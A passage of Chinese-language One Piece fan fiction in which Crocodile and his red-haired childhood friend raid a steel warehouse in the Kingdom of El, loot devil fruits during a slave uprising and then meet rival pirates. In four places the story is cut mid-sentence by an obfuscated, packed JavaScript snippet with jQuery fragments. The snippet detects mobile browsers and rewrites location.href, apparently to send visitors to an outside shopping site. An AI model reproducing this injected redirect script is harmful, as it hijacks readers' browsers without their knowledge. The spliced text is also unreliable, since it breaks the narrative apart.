克洛克达尔动作一顿:“……你不吃了?”为什么不找他抢回来。
结果她连头都懒得回一个。
克洛克达尔将火腿塞进嘴里,咸香肉味在舌尖蔓延开,缓缓咀嚼的牙齿却带着恶狠狠的力度。
“你所说的,那个存放精钢的仓库在哪里?”
“不要太心急,货物又不会长腿跑掉。”克洛克达尔轻轻摇头,“更何况,有高墙挡着,我们从这里也看不见。”
他塞给黛可妮斯一只小电话虫:“这个你收好。”
继续前进,绕过一个又一个垃圾山,终于抵达了高墙脚下。
黑色的砖石砌成的足有十层楼房那般高大的城墙,其上每隔五米便站着一名持枪的士兵,一见到有人靠近城墙便会高声斥责,并将枪支端起发出警告。
克洛克达尔皱起眉毛,一手将黛可妮斯拦在身侧,带着她往垃圾山的阴影处躲了躲。
“上次我来时,这附近还没有这么多的可疑者,防守也不如现在严密……”
周围垃圾山的角落里,有不少贪婪的眼睛放出摄人的光,扫过克洛克达尔和黛可妮斯这两个新来者,便又将视线转回城墙之内。
黛可妮斯笑了:“这下你还能不着急吗?盯上这批精钢的,可不止你我啊。”
克洛克达尔耸耸肩:“我明明给那个情报贩子出的是买断价格,没想到他还是把情报卖给了别人……看来回去的路上,得多杀一个人了。”
目光落在黛可妮斯带着嘲笑的脸上,克洛克达尔心中略有些不忿,正待说话,留意到她那耀眼而火红的长发,与此地的灰暗破败形成了鲜明的对比。
倒是忘了这茬,他心里无奈。
“你先在这里等我片刻。” 说罢他就离开,转身走进了一条夹在垃圾山之中的小巷子。
黛可妮斯倒是不担心他就这么抛下自己、一去不复返,但出于安全考虑,还是在指尖化出一根难以察觉的细丝,悄悄地附在了克洛克达尔的裤脚上。
研究了一下那只合着眼的小电话虫,她便将之收进了口袋。一抬头,却见几个鬼鬼祟祟的身影正向她靠近。
来者脸上带着讪笑,轻轻搓着手掌:“嘿美女,来这鸟不拉屎的地方,可是想找什么东西吗?”
看上去只是几个貌不惊人的小混混。黛可妮斯的视线直接越过他们,看向他们过来的方向。
几个黑衣身影留意到她的视线,往后避了避。
小混混们则是更靠近了一步,手悄悄伸向身后的武器。
是想试探她吗?
不知对方是不是和己方的目的一样,也为着精钢而来,但黛可妮斯可没有临时寻求合作的习惯。
她和克洛克达尔如出一辙,只要是自己盯上的东西,就绝不会允许他人靠过来分享。
哪怕是闻闻
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012786|148614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
味也不行。
黛可妮斯站起身,对面几个混混顿时神情戒备起来,就要将利刃抽出鞘,手臂却被一股大力束缚在身侧,连迈开的双腿也瞬间并起,动弹不得。
指尖银色的光芒悄然闪烁,黛可妮斯并不想在正式行动前引起太多注意力,因此便只是控制丝线将几人的手脚统统缝合在身侧。
几个小混混的嘴巴也被牢牢缝住,像是被皮筋捆住的螃蟹,只能眼睁睁看着黛可妮斯一个扫堂腿袭来,在此攻击下失去平衡,七零八落地摔倒在地。
而克洛克达尔也在此时返回了,见此情形,他二话不说,一手揽住黛可妮斯的肩膀便带着她向垃圾山内部逃去。
不远处与混混一伙的家伙们已经举起手枪,一边开火一边冲过来了。枪声大作,周围暗中隐藏的人,甚至连高墙上的士兵们也将警觉的视线投过来。
克洛克达尔暗啐一口:“哪路的蠢货,竟然这么不懂道上的规矩?”脚下更是加快了步伐,带着黛可妮斯在垃圾之间穿梭。
“不如就这样把他们引过来,”黛可妮斯一手摸上别在腿侧的匕首,“都解决掉算了,省的再有什么顾虑。”
“暂时不行,我还不能暴露能力,而且那些家伙,也许还能派上用场……”
低头看向黛可妮斯的头顶,克洛克达尔忍不住将手掌覆盖在那火红的发丝之上,另一手抽出一条黑色的头巾。
迎着黛可妮斯疑惑的视线,他略显僵硬地将头巾围上去,将她的头发仔仔细细包裹起来。
她的发色在此地实在是太过耀眼,他也不希望让更多的人注意到她……
“你刚才是去找这种东西了吗?”黛可妮斯斜眼瞅着他的动作,评价道:“样式太丑了……喂,你扯到我头发了。”
嫌弃地一巴掌拍开他的手:“这种事,我自己来就好。”几下将头巾牢牢包在脑后。
克洛克达尔被打到的手掌缩了缩:“……”
身后追击的脚步声渐渐消失,显然已经被甩掉。黛可妮斯整理一下衣摆,扭头找个废弃的金属箱子,用袖子擦了擦,坐下休息。
“那么还是按照计划,等到入夜后再行动?”
克洛克达尔也随着她的动作一同坐下:“……是的。”
眼看着那家伙又若无其事地从衣服内袋里掏出一支雪茄,叼在唇边掏打火机,黛可妮斯便一阵不爽。
不知是不是自己的错觉,总感觉再次重逢后,这家伙好像比小时候要更加……黏着自己了。
以前的他,可不会动不动就朝她贴过来、又是勾肩搭背又是搂胳膊搂腰的,最多跟在她身后,扯着她的衣角罢了。
这算什么?长大了才知道姐姐的好?才知道依赖她了?
黛可妮斯完全将克洛克达尔有些亲昵的举止,视同于小孩子的撒娇行为了。
此时投向克洛克达尔的视线,便不由自主带了些仁慈:“小孩子,最好是别抽烟,明白吗?对肺不好,尤其是对坐在你身边的我肺不好。”
刚从嘴边吐出个烟圈的克洛克达尔:“?”
总感觉这女人脸上的表情,有点让人火大……
4. 第 4 章
夜色终于降临,黛可妮斯和克洛克达尔更是打起了十二分的精神。
他们已经注意到了这高墙之下的紧张气氛。
克洛克达尔从高高的垃圾山上跳下来,笑道:“看来我们的运气还算是不错。”
话音未落,高墙方向便传来了一阵惊天动地的爆炸声,顿时混乱的叫骂声和警报声一同响起。
大概是同样渴求墙内某物的家伙们,在注意到周围不断增多的竞争对手后,终于忍不住先动手了。
黛可妮斯他们倒是运气好,一来就遇到了这种可以浑水摸鱼趁火打劫的好机会。
黑色的高墙被炸出了一个深深的裂缝,却仍是顽强地没有被彻底炸开,顶着墙上士兵的火力压制,越来越多的人们争先恐后地向着裂缝攻来,眼看着就要突入高墙之内了。
克洛克达尔却对蠢蠢欲动的黛可妮斯说:“我们不走那里。”
远远地绕开正在激烈冲突的位置,两人选中一处守卫稀薄出现缺口的城墙,隐藏身形接近上前。
克洛克达尔径直将手掌覆盖在黑色的砖石之上,随着细细的黄沙涌动,那坚固无比的砖石便化成一缕缕的沙子,缓缓地被侵蚀出一个仅供人矮身可钻入的洞口来。
“你这能力竟然还有这种惊喜?”黛可妮斯适时地给予表扬。
“不过是小菜一碟。”
克洛克达尔的嘴角扬起一个弧度,已然矮身钻进去:“我先开路。”黛可妮斯随后跟上。
不远处被炸药炸开的城墙,终于在猛攻之下不堪重负,轰隆着倒塌下来,墙外的流民也好、海贼也罢,顿时一哄而上,全部冲进了墙内。
「埃尔」王国的军队接到警报,刚刚抵达,见到这番棘手的场景也不免满头大汗,立时便与冲进来的人群展开了交火。
克洛克达尔两人则借此机会,在工厂与工厂之间快速穿行,由黛可妮斯使用丝线牵制零星袭来的士兵,克洛克达尔则抓住机会开枪击毙被控制住的家伙。
两人配合默契,一路上连半句话也无需交流,势如破竹般便抵达了存放精钢的仓库面前。
此地仍是有一批武装齐备的士兵把守,哪怕是高墙处传来了从未遇见过的混乱之声,这批士兵也丝毫未见慌乱。
有如此训练精良的军队驻守,不由得更让人好奇这仓库内到底存放着什么。若是只是具有经济价值的精钢,又怎么会受到如此重视?
两人对视一眼,均看到了对方眼中的疑惑。
克洛克达尔眼神凝重起来,抬手一翻,一个小型的沙尘暴正缓缓形成,却突然被人抓住了手腕。
低头对上黛可妮斯的眼睛,后者悄悄地对他摇头,示意他看向左侧的路口。
杂乱的脚步声中,几群人已经冲到了仓库面前,其中便有白天里和黛可妮斯产生冲突的角色。
这几群人着装和配备武器均不同,就相貌而言也像是来自不同国家的人,此时却行动大体一致,看来是早在入墙之前,便暗中达成了某种合作协议吧。
眼看着这些人已经将门口军队的注意力全部吸引过去,黛可妮斯扯住克洛克达尔低声道:“你看仓库右后方,有一道小门,方才似乎还有奴隶出入,大概是在搬运货物。”
克洛克达尔会意,略一点头便化作黄沙,席天卷地的沙尘暴突兀地在夜幕之下暴虐而起,顿时整个战场乱成了一锅粥。
黛可妮斯则是借此机会,避开他人的视野范围,压低身子向小门冲去。
几枪干掉反应不及时的守门士兵,从其身上寻出小门钥匙,打开铁门侧身挤入,黛可妮斯成功进入到仓库内部。
一扭身却被其中的场景惊到。
站在数十阶楼梯之下的,黑压压一大片脚戴镣铐的奴隶们,齐刷刷将视线投向她这个不速之客。
条件反射下,黛可妮斯就地一滚,扑倒在地,以防接下来有可能遭遇的攻击。最差的情况,大概会被这上百人数的奴隶同时攻击吧……
然而什么也没有发生。
黛可妮斯还伏在地上,踌躇着要不要先退出仓库再做打算,余光却不见那群奴隶产生丝毫反应。
他们仍是一动不动地盯着她。
他们目光浑浊,犹如腐朽已久的老木。奴隶们半耷着眼皮,脊背也无力地佝偻着,黛可妮斯完全读不懂那些目光到底想传达什么意思。
对于她这样的擅闯者,他们并没有发起攻击,也没有拉响警报。
黛可妮斯的喉头不由自主地滚动一下。
……他们没有敌意吗?
继续前进,还是逃离?
仓库外的战斗之声还在不断传入耳朵,即便有着克洛克达尔的阻挠,自己也不会拥有太多时间。
必须赶在被所有人发现之前将精钢带走。
黛可妮斯缓慢地站起身来,紧紧贴着冰冷的金属墙壁,试探着踏出了第一步。
众多奴隶毫无反应。
她小心谨慎地打量着面前的奴隶群,二十、四十、六十……约有一百出头,无人持有武器,铁链穿过所有人的脚铐,将他们串在一起。
平日里,这些奴隶只能排成一条龙的长队,进行货物的搬运活动。在休息时,脚上的镣铐也不会被解开,这一百多人,被铁链连接着,一起用餐,一起如厕,直到死亡将他们与那些永远干不完的劳动分开。
看上去,他们并不具有能够向黛可妮斯发起攻击的灵活性。
黛可妮斯又迈出了一步。奴隶们仍毫无反应。
那就赌一把。
她深吸一口气,沿着墙侧,大步向仓库内部跑去。
如果她回过头来,就会发现这群有老有少的奴隶们,正随着她的动作,缓缓地扭动头颅。
他们始终将视线落在黛可妮斯的身上。
在此处劳动的奴隶们,仓库外发生什么都与他们无关,他们只是在此处走向死亡,缓慢地,艰难地,走向死亡。
或者说,等待死亡带来的解脱。
但是在此时此地,有一个完全陌生的人,闯入了这个一成不变的金属盒子里。
那个人的身后,没有面目凶煞的士兵,没有带着火药味的枪口和蘸了冷水的鞭子。
那个人只是轻快地,迈开了脚步。
一个在奔跑的人。
奔跑这种动作,几乎已经要被他们彻底淡忘了。
双脚没有被沉重的铁链束缚在三十公分之内,而是可以抬高,可以跳跃,可以不顾及他人的步伐。
于是他们不由自主地看着那个奔跑的人类。
看着那个人类冲进金属盒子的内部,停在他们所搬运的货物面前,伸出了手掌。
就在一瞬间,那些泛着暗色光泽的金属,那些高高堆起一直堆到天花板上的货物,消失了。
那人的手中多了一叠暗色的布条,几道银光闪过,布条便被缝在了她的衣摆和袖口处,眨眼之间,整件衣服都被那暗色的布条所覆盖。
远远看上去,似乎只是换了一件衣服。
刚将几百吨的精钢缝在身上,黛
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012787|148614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可妮斯便略有些吃力,连忙扶住了墙壁。好在还是可以承受,她振作精神,刚站起身准备离开,视线却被不远处一个小房间所吸引。
那个房间的房门看上去十分坚固,黛可妮斯没信心能够在没有钥匙的前提下打开它,却仍是有些好奇。
她可不认为外面那些家伙都只是为了这些精钢来的。
“你要离开了吗?”
身后,突然响起了一个沙哑的声音。
黛可妮斯浑身一惊,转头望去,出声的竟是一名奴隶青年。
身形瘦长,形容枯槁,且只有一只耳朵。
在本该生长着右耳廓的位置,只余一个小小的黑洞,和一些不成形的人肉组织。
他和在场所有奴隶一样,深陷的眼窝里,两枚浑浊的白眼珠间带着黑瞳仁,一转不转地望着黛可妮斯。
“你带着那些走了,我们会死。”他轻轻地说。
话语间没有任何愤怒或是威胁之意,似乎只是在陈述一件与自身生死毫不相关的事情。
“我想也是。”黛可妮斯略一点头,“可是,那不是我的错。”
就算这群奴隶会因货物被偷走而全部处刑。就算鲜血洒在她面前,人头滚在她的脚边。
黛可妮斯也不会产生任何愧疚。
这些人的困境又不是她造成的。
看着眼前这些奴隶,她突然心思一动。
掏出一把手枪,卸下弹夹,一枚枚取出其中的子弹,直到只剩最后一颗。
将手枪放在地面上,手心一翻,凝出一把银色的小剪刀来,放在另一端。
她指着那把小剪刀:“虽然没有钥匙,但我的能力可以剪断你们脚上的铁链。你们可以获得自由,逃出去,但外面都是士兵,也许你们一出门就会死。”
“或许,你们也可以选择这把手枪,一枪打死我,这样所有人都不会被处死,你们可以继续以奴隶的身份过活,直到生命的尽头。”
黛可妮斯向后退了一步。
偶尔,她会产生一些坏心思,玩一些恶作剧。
就像这样。
她在那把手枪上做了手脚,丝线牢牢缝住了枪体内部的机关,会阻止子弹的发射。
只要他们选择了手枪,象征着自由的剪刀便会消失,这群奴隶便只能手持一把无法开火的枪,眼睁睁地看着她离开。
铁链会拴着他们,迎接被处死的结局。
真想知道,彼时这群人的脸上,会展现出怎样的绝望神色呢?
黛可妮斯想看到那种表情。
笑容刚在她的嘴角浮现了一秒,便凝固下来。
被同一条铁链拴在一起的奴隶们,齐齐向前迈了一步,又一步。
即便那支手枪已经近在眼前,却没有任何人弯腰去拾。
左耳仅存的青年,缓慢地屈下膝盖,跪在那支银色的剪刀面前。
他捧着那只剪刀,近乎虔诚道:“感谢您。”
黛可妮斯愣住了。
这算什么?
就在这一瞬间,高大的仓库正门被爆破开来,带着滚滚的烟尘和黄沙,将硝烟和血腥的味道带进这个金属盒子里。
军队还是不敌暴徒的攻势,被撕开了防守圈,仓库就此被攻陷。
原本安静如鸡的奴隶们,却在此爆炸声中犹如沸腾的开水,他们齐齐动起来,直奔仓库的裂口而去。
与此同时,一缕黄沙出现在黛可妮斯身后,传来了克洛克达尔疲惫的声音。
“怎么样了?”
5. 第 5 章
在仓库外参与混战的克洛克达尔,为了争取到尽可能多的时间,已然快要将能力耗用到了极限。
此时黄沙一凝,化出一个摇晃的身影出来,纵使黛可妮斯早就做好了心理准备,却还是在接住他的时候脚步踉跄了一下。
不禁咬牙:“你太重了,自己收点力啊,我可搬不动你。”
克洛克达尔的嘴角微微一扬,却还是故作苦恼地将脑袋搁在她的肩膀上:“逃命的事情,就要靠你了。”
“啊,既然如此,还是把你就这样丢下比较好呢。”
黛可妮斯的声音格外无情,让他默默叹气。
“东西都到手了吧?”他轻轻说,“不过看上去,我们还不能就此离开呢。”
没人理会逃跑的奴隶们,刚将军队击败的暴徒们冲进了仓库。
原本装满钢材和货物的仓库,已经被黛可妮斯扫荡一空。刚刚冲进来的家伙们环视着空空荡荡的四周,大惊失色。
“……说好的货物去哪里了?情报有误!”
“我们要找的那个……应该还在!别慌张,分头去找!”
眼看着越来越多的人冲进来,黛可妮斯连忙拖着克洛克达尔的胳膊,鬼鬼祟祟地向后退去。
“这种时候了,你可千万不要告诉我,其实还有别的阴谋诡计吧?”她斜眼瞅着面带微笑的克洛克达尔,“正面和这么多人起冲突可不是一件好事啊,趁着没被发现赶紧撤退吧。”
“真遗憾,我们的确还有东西要找。”
他露出一口欠扁至极的白牙:“你刚才在里面的时候,有没有发现一些特殊的、小巧的……还是直说了吧,有见到恶魔果实吗?”
黛可妮斯想起那个被厚重防盗门锁起来的小房间。
虽说按照目前的黑市交易价格,恶魔果实的贩卖价格还是比较客观的,但是……有必要为了几个恶魔果实打乱计划吗?
埃尔王国的军队不知道什么时候就会把增援的士兵派过来,在这之前,他们还需要干掉眼前这一群看上去就不好解决的家伙……
黛可妮斯摇摇头,她不觉得几颗恶魔果实值得自己这样做。
“大约两百枚恶魔果实。”克洛克达尔说。
黛可妮斯的眼睛一下子瞪大了。
多少?!
她在脑海里飞速地进行了一下计算。
然后那个金光灿灿的数字让她立刻下了决定:“别的地方我都搜过了,应该就在那边角落的小房间里。”
克洛克达尔笑着直起腰杆:“所以我说了,咱们还不能走。”
早在他得知埃尔王国引以为豪的矿材资源即将枯竭时,还以为自己花钱从情报贩子手上买了个笑话听。
王国境内,林立的烟囱仍在昼夜不停地冒出浓烟,大批大批的精钢还在从流水线上运下来,但只有地下矿井深处的采矿奴隶们才知道,他们已经无矿可挖了。
负责矿材勘探的专家,信誓旦旦地说这条地脉后面一定还有矿石,结果开矿炸弹爆炸后,海水如同死神一般冲进了他们的矿井。
哪里都没有矿了,海水淹死了当场的勘探专家和大批奴隶,人们费了九牛二虎之力,才阻止了海水进一步涌进来的脚步。
埃尔王国的掌权阶级了解到这个情况后,第一时间处死了在这场事件中,侥幸活下来的奴隶们。
毕竟他们还和大量国家签订了钢材贸易合同,如果拿不出相应数量的矿材和精钢,巨额的违约金就足以让埃尔王国宣告破产。
所以他们计划在消息走漏前,想办法尽量多地筹集出一些资金。
好在本国的王公贵族们自上而下都有一个类似的爱好:收集恶魔果实。他们珍藏的那些水果,有些只是长相奇怪的普通水果,有些则是不知道在箱子里放了多少年的「老古董」,吃下去死不死人都两说。
有些国家愿意以恶魔果实来抵债,所以埃尔国王也顾不得那么多了,管他真的假的,只要是表面带花纹的果实,统统拿去抵债。
埃尔国王找个由头处决了一些贵族,抄了他们的家底,又卖掉了大批奴隶,才勉强凑出一些违约金,还有这两百枚左右的恶魔果实。
这两百枚还是有很大水分的,但单独拿出去,也是一笔可观的数目了。
遗憾的是,埃尔国王在处决贵族的过程中操之过急,引起了国内大贵族的不满,双方势如水火之时,这个情报又不胫而走,被城墙之外的奴隶贩子们卖给了全世界。
导致现在所有人都打算过来分一杯羹。
当然,克洛克达尔才懒得替埃尔王国操心,他巴不得这种蠢猪国家越多越好。
懒洋洋趴在黛可妮斯肩头的克洛克达尔,顺着她的指尖,看向那个被厚重金属门关住的小房间。
当他发现其他人也在冲着那里奔去时,嘴角便扬起了一抹冷笑。
“那是我们的东西,是不是?”他笑道。
黛可妮斯指尖闪过几道银光,亦是笑意盈盈的模样:“当然。”
刹那间,遮目迷眼的黄沙在这仓库内部飞旋而起,在众人的怒骂声中,一道道要命的沙刃从各个角度袭来,众人要躲,却被脚下不知何时出现的丝线绊倒在地。伴随几道清脆的剪刀咔擦声,他们便被半透明的丝线缝在了一起。
黛可妮斯的能力并不足以将如此多的人同时控制住,但在他们动弹不得只能破口大骂的短暂时间内,她已经和克洛克达尔一同抵达了那个小房间的门口。
克洛克达尔手中的沙刃不断击在防盗铁门上,留下深深浅浅的痕迹,可惜还不能将门彻底破坏。另一边,便已经有人挣脱开黛可妮斯的控制,挥刀向他劈来。
一刀将克洛克达尔劈成两半,那人还来不及面露喜色,半个身子沙化的克洛克达尔已经将手掌按在他头上,霎时吸干了其体内的全部水分,令其化作一具干尸。
“那家伙果然是自然系,该死的东西!”
越来越多的人挣脱开控制,纷纷取出了镶嵌着海楼石的武器,一致向克洛克达尔攻来。
“动作太慢了,克洛克达尔!”黛可妮斯连开数枪击退几人,“再磨磨蹭蹭的,别怪我把你扔下就跑!”
话音未落,见对面有一人遥遥举起了枪支,她心头一跳,连忙飞起一脚,将克洛克达尔踹开——
子弹几乎是擦着克洛克达尔的肩膀飞过去。
黛可妮斯扫了一眼打在墙壁上的弹孔,不由得怒骂:“是海楼石做的弹头——他们为什么会有这种武器?!这下好了,说不定你我都要为了那两百个破水果死在这里了!”
在宝贵的小命受到威胁时,黛可妮斯也就顾不上什么钱不钱的了。但刚刚躲过一劫的克洛克达尔,倒是显得相当镇定。
“不会的,”他表情看上去冷静至极,眼底疯狂的火焰倒是愈演愈烈,“这种地方还不足以阻挡我的脚步。”
他的身形几乎快成了一道风。
一面避开攻击,一面见缝插针地进行反击,他的动作凌厉不已,毫不拖泥带水,锋芒直指对方命门。黛可妮斯咬紧牙关为他提供掩护,余光却扫到后方不远处,一只被架起来的火箭筒。
这群暂时达成合作协议的家伙们,当然不会将彼此视作真正的伙伴
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012788|148614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。特别是此时此地,就站在目标房间的门口,已经有不少人准备下黑手了。
比如这枚蓄谋已久的火箭筒,带着要将所有人炸飞的气势,就这么发射了。
黛可妮斯来不及喊话出口,一手脱下缝着精钢的外套向前一甩,另一手径直勾住克罗克达尔的肩膀,带着他就地一滚。
被解除了能力的精钢瞬间恢复原状,将两人挡在其后。火箭筒转瞬即到,带着恐怖的破坏力将现场炸成一片火海。
众人被炸得残肢横飞。有两米厚的钢材在身前抵挡冲击力和爆炸,黛可妮斯两人仅受了些钢材震荡产生的内伤,但即便如此,黛可妮斯也是吐出一口血来。
克罗克达尔摇晃一下站起身来,目光冰冷地将黛可妮斯搀扶而起,化作沙刃的手臂绕过被炸出一个大坑的钢材,径直掐在了手持火箭筒的佣兵脖子上。
一用力,那佣兵的脑袋便不自然地歪下来,暴突的双目上窃喜还未散去,便已被恐惧支配。
“还好吗?”他这才哑着嗓子,扭过头来问黛可妮斯。
胸腔中的剧痛让黛可妮斯说不出话,她只将视线移向那个放置着恶魔果实的小房间。
在此爆炸之下,那道伤痕累累的金属门终于还是被炸开,不过可惜的是,爆炸的气浪同时掀翻了周围的墙体。
经过先前的乱斗,这间仓库早已不堪一击,火箭炮导致的爆炸便成了压倒其的最后一根稻草。
是以现在满地都是被爆炸轰飞的恶魔果实。
黛可妮斯颤巍巍举起一只手:“捡,捡……”
快捡啊,这等于是满地的贝里啊!钱啊!钱!
克罗克达尔见她这副模样就放心了。
还有功夫担心恶魔果实,那就是受伤不严重。
他笑着伸手,手背在她嘴角狠狠蹭过去,蹭掉她嘴角的血迹。
“快起来,你难道不想亲手捡吗?”
黛可妮斯瞅着他那欠扁的嘴脸,恨不得给他一拳。
又不是谁都和他一样皮糙肉厚!
两人担心埃尔王国的军队很快就到,所以忙不迭地爬起来,挨个将没有被爆炸损坏的恶魔果实收捡起来。
黛可妮斯受伤后没体力再使用能力,便由克洛克达尔一手拎一个装满果实的大麻袋,肩头再趴一个她。
目标已经都完成了,剩下的就是躲开军队的追击,成功回到他们停泊在外海上的货船。
本来黛可妮斯都做好了要再打一场硬仗的准备了。
结果根本没有军队来追他们。
克洛克达尔半个身子化作黄沙,带着她飞在半空中的时候,黛可妮斯回头望了一眼。
埃尔王国正中央的宫殿,已经被大火点燃了。
熊熊烈火照耀着一群人的身影,他们身披墨绿色的衣袍,正挥刀劈向战意全无的埃尔王国士兵。
借着火光,黛可妮斯看清了为首那人的面庞,左脸上暗红色的方格纹刺青清晰可见,与他并肩作战的,是无数衣衫褴褛的奴隶。
“那是什么人?”黛可妮斯问。
克洛克达尔回头望了一眼,嘴角便挂上一抹轻蔑的笑:“几个自称是「革命家」的亡命徒罢了,不过有了他们来添乱,咱们倒是省了不少功夫。”
他嘴角笑意又深了些:“这个国家算是彻底完蛋了,竟然被这群只会喊喊「自由」口号的家伙推翻,也太没用了。”
黛可妮斯的视线穿过火光,落在其中一名奴隶的身影上。奴隶瘦骨嶙峋,却发狠般将手中的匕首刺向面前的敌人。
那奴隶有些眼熟,只有一只耳朵。
6. 第 6 章
黛可妮斯和克洛克达尔两个人,成功地带着近百吨的精炼钢材,还有一百枚左右的恶魔果实,脱身离开。
为什么是一百枚?因为当时他俩只捡到这些,一些果实被爆炸摧毁了,还有一些只是长着奇怪花纹的普通水果。
最后落到手里的这些,也是要经过鉴定,才能正儿八经地拿到黑市上去出售。
克洛克达尔倒是先挑了好几个,自己收起来了。
不过和这两位快乐发财的小强盗不同,埃尔王国则是经历了至暗一夜——对于他们的统治者而言的至暗一夜。
除了趁火打劫的强盗和海贼们,昨晚一同闯进王国城墙内部大闹特闹的,还有被称为「革命家」的人们。
他们几乎破坏了所有的工厂,斩断了所有奴隶的脚链。
于是埃尔王国的王公贵族们,有名的、无名的,但凡是数得上的、有点钱家里养着奴隶的,都被砍头了。
当晚死了不少人,但是这些死去的贵族人数,也远远不及在此地被摧残致死奴隶的千分之一。被压迫已久的奴隶们杀红了眼,为首的革命家这才意识到形势有些不对劲,但拦也拦不住了。
这场血流成河的政变,在报纸上足足占据了四页的篇幅。世界政府以深恶痛绝的口吻痛斥以龙为首的革命家们的所作所为,并将其列为了高度危险分子。
克洛克达尔坐在船舷边上,叼着雪茄的嘴角冷冷勾起,视线从报纸的顶端一直滑到底部,终于看到了有关自己的报道。
将埃尔王国境内最大仓库劫掠一空,又造成了不少的破坏和人员伤亡,凡此种种,单独拿出去其实已经足够再让他目前的悬赏金翻一番了。
可惜风头完全被发动政变的奴隶们盖过去了,他的名字只是被提了一下便被带过了。
目光扫过报纸上刊登的现场照片,又扫回去。
照片里,一些奴隶正挥舞着武器,可在那昏暗的背景里,却隐约有个红头发的背影。
他这才想起来,在最后撤离的时候,黛可妮斯的脑袋上便没有头巾了,大概是在爆炸中不慎掉落了。
这个发现让他更加不爽。
明明不想让别人留意到她的存在,却还是露出了一点马脚。
要是海军也给她弄出个通缉令来,那就不好了。
克洛克达尔不动声色地从报纸内页抽出自己的通缉令,指尖一碾,原本略微有些发黄的纸张便迅速变脆变干,一用力就化作干燥的碎屑消散在空中。
他要对黛可妮斯隐瞒自己的海贼身份,所以通缉令什么的,绝对不能被她见到。
“报纸上有什么值得一提的新闻吗?”
黛可妮斯一手端着牛奶,头戴墨镜靠着桅杆席地而坐,姿势说不上来的惬意。
克洛克达尔却完全不担心自己的事迹会被登上报纸。
因为他的发小,这个在孤儿院里足足呆了十余年的女人,不认字。
慈心福利院才不会为孩子们提供识字的教育,即便是经过了几年的餐厅生活,她也仅仅看得懂一些简单的单词而已,大部分还都和食物有关。
于是黛可妮斯只能像现在这样,托着腮帮子,听他念今天的报纸。
她将墨镜架在额上,一双碧绿色的眼眸看向他,认真地等待他的答复。
克洛克达尔知道黛可妮斯很想多认一些字,但是他并不想教她。每当那双碧绿色的眼睛,像现在这样落在他身上的时候,他心底总会有个声音在不断低语。
什么也别教给她,这样她就只能一直依赖你了。
你得把她留在你的身边。
克洛克达尔将报纸甩在一边,弯下腰来,一手从她头上取下那副墨镜。
他在自己脸前比划了一下,戴上了。
灿烂的阳光被镜片挡在外面,整个视野多了一层暗色的滤镜。他透过墨镜,看到黛可妮斯冲自己翻了个白眼。
她似乎很喜欢这个东西,甚至站起身来,伸长手臂要从他脸上夺回去。
克洛克达尔当然不可能让她得逞,脸上有了墨镜,他就能将肆无忌惮的视线一直落在她的身上,还不会被发现了。
“等到了黑市,你想买什么样的墨镜都随便。”他抓住她的胳膊,咧嘴一笑,“但是这个,现在属于我。”
黛可妮斯又翻了个白眼,似乎还骂了他一句“幼稚鬼”。
被解除了能力的钢材和货物们堆放在甲板下的船舱里,让这艘本就体型不大的货船行驶起来更加吃力,于是黛可妮斯不得不重新将部分钢材继续变成布条缝在衣服上。
持续保持着能力的发动让她很疲惫,动也不想动。
克洛克达尔早在此次行动开始之前,便联系好了下游的卖家,现在需要将货物运向黑市。
不过路上遇到了几个不速之客。
黑色的骷髅头旗帜在桅杆顶部迎风招摇,黛可妮斯一看到那艘向他们急速驶来的海贼船时,脸色就阴沉下来。
“喂喂,这不是老熟人吗?鳄鱼小子?”
海贼船上,为首几名典型海贼打扮的家伙,高举手中的海盗弯刀
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012789|148614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,嘴里吹着口哨,双眼不怀好意地打量着他们。
“克洛克达尔,你小子,应该在埃尔王国大捞了一笔吧?”海贼们遥遥端起了火铳枪,狞笑道:“虽说你的能力让人恨的咬牙切齿,但现在可是在海面上,所以——见面分一半吧,你的财宝!”
黛可妮斯扭头问他:“你认识那些恶心的海贼?”
于是克洛克达尔的脸色也阴沉下来。
眼前的海贼团并不是什么值得让人记住姓名的大角色,之前的确交过手,且以他的单方面完胜收尾,但是……
